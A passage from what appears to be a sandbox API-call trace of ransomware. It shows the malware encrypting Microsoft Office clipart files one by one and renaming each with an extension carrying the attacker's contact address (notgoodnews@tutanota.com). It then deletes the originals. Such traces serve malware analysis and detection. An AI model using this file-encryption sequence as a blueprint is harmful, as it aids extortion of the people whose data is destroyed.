4 [0082.002] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0082.002] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0082.002] lstrlenW (lpString="BS00439_.WMF") returned 12 [0082.002] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00439_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0082.003] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=2052) returned 1 [0082.003] CloseHandle (hObject=0x33c) returned 1 [0082.003] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00439_.wmf")) returned 0x220 [0082.003] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00439_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0082.003] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00439_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0082.003] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0082.003] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0082.003] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00439_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0082.004] GetLastError () returned 0x0 [0082.004] ReadFile (in: hFile=0x33c, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x804, lpOverlapped=0x0) returned 1 [0082.005] WriteFile (in: hFile=0x330, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x810, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x810, lpOverlapped=0x0) returned 1 [0082.006] ReadFile (in: hFile=0x33c, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0082.006] WriteFile (in: hFile=0x330, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0082.006] SetEndOfFile (hFile=0x330) returned 1 [0082.006] CloseHandle (hObject=0x330) returned 1 [0082.008] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0082.008] SetEndOfFile (hFile=0x33c) returned 1 [0082.009] CloseHandle (hObject=0x33c) returned 1 [0082.009] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0082.009] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00439_.wmf")) returned 1 [0082.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68 [0082.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68 [0082.009] lstrlenW (lpString=".doc") returned 4 [0082.009] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0082.009] lstrlenW (lpString=".docx") returned 5 [0082.010] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0082.010] lstrlenW (lpString=".pdf") returned 4 [0082.010] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0082.010] lstrlenW (lpString=".xls") returned 4 [0082.010] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0082.010] lstrlenW (lpString=".xlsx") returned 5 [0082.010] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0082.010] lstrlenW (lpString=".ppt") returned 4 [0082.010] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0082.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68 [0082.010] lstrlenW (lpString=".zip") returned 4 [0082.010] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0082.010] lstrlenW (lpString=".rar") returned 4 [0082.010] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0082.010] lstrlenW (lpString=".bz2") returned 4 [0082.010] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0082.010] lstrlenW (lpString=".7z") returned 3 [0082.010] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0082.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68 [0082.010] lstrlenW (lpString=".dbf") returned 4 [0082.010] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0082.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68 [0082.010] lstrlenW (lpString=".1cd") returned 4 [0082.010] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0082.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68 [0082.010] lstrlenW (lpString=".jpg") returned 4 [0082.010] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0082.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68 [0082.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68 [0082.010] lstrlenW (lpString=".doc") returned 4 [0082.010] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0082.010] lstrlenW (lpString=".docx") returned 5 [0082.010] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0082.010] lstrlenW (lpString=".pdf") returned 4 [0082.010] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0082.010] lstrlenW (lpString=".xls") returned 4 [0082.011] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0082.011] lstrlenW (lpString=".xlsx") returned 5 [0082.011] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0082.011] lstrlenW (lpString=".ppt") returned 4 [0082.011] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0082.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68 [0082.011] lstrlenW (lpString=".zip") returned 4 [0082.011] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0082.011] lstrlenW (lpString=".rar") returned 4 [0082.011] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0082.011] lstrlenW (lpString=".bz2") returned 4 [0082.011] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0082.011] lstrlenW (lpString=".7z") returned 3 [0082.011] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0082.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68 [0082.011] lstrlenW (lpString=".dbf") returned 4 [0082.011] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0082.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68 [0082.011] lstrlenW (lpString=".1cd") returned 4 [0082.011] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0082.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68 [0082.011] lstrlenW (lpString=".jpg") returned 4 [0082.011] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0082.011] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0082.011] lstrlenW (lpString="BS00440_.WMF") returned 12 [0082.011] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00440_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0082.012] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=5580) returned 1 [0082.012] CloseHandle (hObject=0x33c) returned 1 [0082.012] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00440_.wmf")) returned 0x220 [0082.012] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00440_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0082.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00440_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0082.012] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0082.012] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0082.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00440_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0082.012] GetLastError () returned 0x0 [0082.012] ReadFile (in: hFile=0x33c, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x15cc, lpOverlapped=0x0) returned 1 [0082.014] WriteFile (in: hFile=0x330, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x15d0, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x15d0, lpOverlapped=0x0) returned 1 [0082.015] ReadFile (in: hFile=0x33c, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0082.015] WriteFile (in: hFile=0x330, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0082.015] SetEndOfFile (hFile=0x330) returned 1 [0082.015] CloseHandle (hObject=0x330) returned 1 [0082.016] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0082.016] SetEndOfFile (hFile=0x33c) returned 1 [0082.017] CloseHandle (hObject=0x33c) returned 1 [0082.017] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0082.017] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00440_.wmf")) returned 1 [0082.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68 [0082.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68 [0082.018] lstrlenW (lpString=".doc") returned 4 [0082.018] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0082.018] lstrlenW (lpString=".docx") returned 5 [0082.018] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0082.018] lstrlenW (lpString=".pdf") returned 4 [0082.018] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0082.018] lstrlenW (lpString=".xls") returned 4 [0082.018] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0082.018] lstrlenW (lpString=".xlsx") returned 5 [0082.018] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0082.018] lstrlenW (lpString=".ppt") returned 4 [0082.018] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0082.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68 [0082.018] lstrlenW (lpString=".zip") returned 4 [0082.018] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0082.018] lstrlenW (lpString=".rar") returned 4 [0082.018] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0082.018] lstrlenW (lpString=".bz2") returned 4 [0082.018] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0082.018] lstrlenW (lpString=".7z") returned 3 [0082.018] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0082.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68 [0082.018] lstrlenW (lpString=".dbf") returned 4 [0082.018] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0082.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68 [0082.018] lstrlenW (lpString=".1cd") returned 4 [0082.018] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0082.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68 [0082.018] lstrlenW (lpString=".jpg") returned 4 [0082.019] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0082.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68 [0082.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68 [0082.019] lstrlenW (lpString=".doc") returned 4 [0082.019] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0082.019] lstrlenW (lpString=".docx") returned 5 [0082.019] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0082.019] lstrlenW (lpString=".pdf") returned 4 [0082.019] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0082.019] lstrlenW (lpString=".xls") returned 4 [0082.019] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0082.019] lstrlenW (lpString=".xlsx") returned 5 [0082.019] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0082.019] lstrlenW (lpString=".ppt") returned 4 [0082.019] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0082.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68 [0082.019] lstrlenW (lpString=".zip") returned 4 [0082.019] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0082.019] lstrlenW (lpString=".rar") returned 4 [0082.019] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0082.019] lstrlenW (lpString=".bz2") returned 4 [0082.019] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0082.019] lstrlenW (lpString=".7z") returned 3 [0082.019] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0082.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68 [0082.019] lstrlenW (lpString=".dbf") returned 4 [0082.019] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0082.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68 [0082.019] lstrlenW (lpString=".1cd") returned 4 [0082.019] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0082.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68 [0082.019] lstrlenW (lpString=".jpg") returned 4 [0082.019] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0082.020] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0082.020] lstrlenW (lpString="BS00441_.WMF") returned 12 [0082.020] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00441_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0082.022] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=3524) returned 1 [0082.022] CloseHandle (hObject=0x33c) returned 1 [0082.022] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00441_.wmf")) returned 0x220 [0082.022] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00441_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0082.022] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00441_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0082.022] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0082.022] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0082.023] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00441_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0082.023] GetLastError () returned 0x0 [0082.023] ReadFile (in: hFile=0x33c, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0xdc4, lpOverlapped=0x0) returned 1 [0082.024] WriteFile (in: hFile=0x330, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xdd0, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xdd0, lpOverlapped=0x0) returned 1 [0082.025] ReadFile (in: hFile=0x33c, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0082.025] WriteFile (in: hFile=0x330, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0082.025] SetEndOfFile (hFile=0x330) returned 1 [0082.025] CloseHandle (hObject=0x330) returned 1 [0082.026] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0082.026] SetEndOfFile (hFile=0x33c) returned 1 [0082.027] CloseHandle (hObject=0x33c) returned 1 [0082.027] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0082.027] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00441_.wmf")) returned 1 [0082.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68 [0082.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68 [0082.028] lstrlenW (lpString=".doc") returned 4 [0082.028] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0082.028] lstrlenW (lpString=".docx") returned 5 [0082.028] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0082.028] lstrlenW (lpString=".pdf") returned 4 [0082.028] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0082.028] lstrlenW (lpString=".xls") returned 4 [0082.028] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0082.028] lstrlenW (lpString=".xlsx") returned 5 [0082.028] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0082.028] lstrlenW (lpString=".ppt") returned 4 [0082.028] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0082.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68 [0082.028] lstrlenW (lpString=".zip") returned 4 [0082.028] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0082.028] lstrlenW (lpString=".rar") returned 4 [0082.028] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0082.028] lstrlenW (lpString=".bz2") returned 4 [0082.028] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0082.028] lstrlenW (lpString=".7z") returned 3 [0082.028] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0082.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68 [0082.028] lstrlenW (lpString=".dbf") returned 4 [0082.028] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0082.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68 [0082.028] lstrlenW (lpString=".1cd") returned 4 [0082.028] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0082.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68 [0082.028] lstrlenW (lpString=".jpg") returned 4 [0082.028] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0082.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68 [0082.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68 [0082.029] lstrlenW (lpString=".doc") returned 4 [0082.029] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0082.029] lstrlenW (lpString=".docx") returned 5 [0082.029] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0082.029] lstrlenW (lpString=".pdf") returned 4 [0082.029] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0082.029] lstrlenW (lpString=".xls") returned 4 [0082.029] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0082.029] lstrlenW (lpString=".xlsx") returned 5 [0082.029] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0082.029] lstrlenW (lpString=".ppt") returned 4 [0082.029] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0082.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68 [0082.029] lstrlenW (lpString=".zip") returned 4 [0082.029] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0082.029] lstrlenW (lpString=".rar") returned 4 [0082.029] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0082.029] lstrlenW (lpString=".bz2") returned 4 [0082.029] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0082.029] lstrlenW (lpString=".7z") returned 3 [0082.029] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0082.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68 [0082.029] lstrlenW (lpString=".dbf") returned 4 [0082.029] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0082.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68 [0082.029] lstrlenW (lpString=".1cd") returned 4 [0082.029] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0082.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68 [0082.029] lstrlenW (lpString=".jpg") returned 4 [0082.029] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0082.029] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0082.029] lstrlenW (lpString="BS00442_.WMF") returned 12 [0082.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft 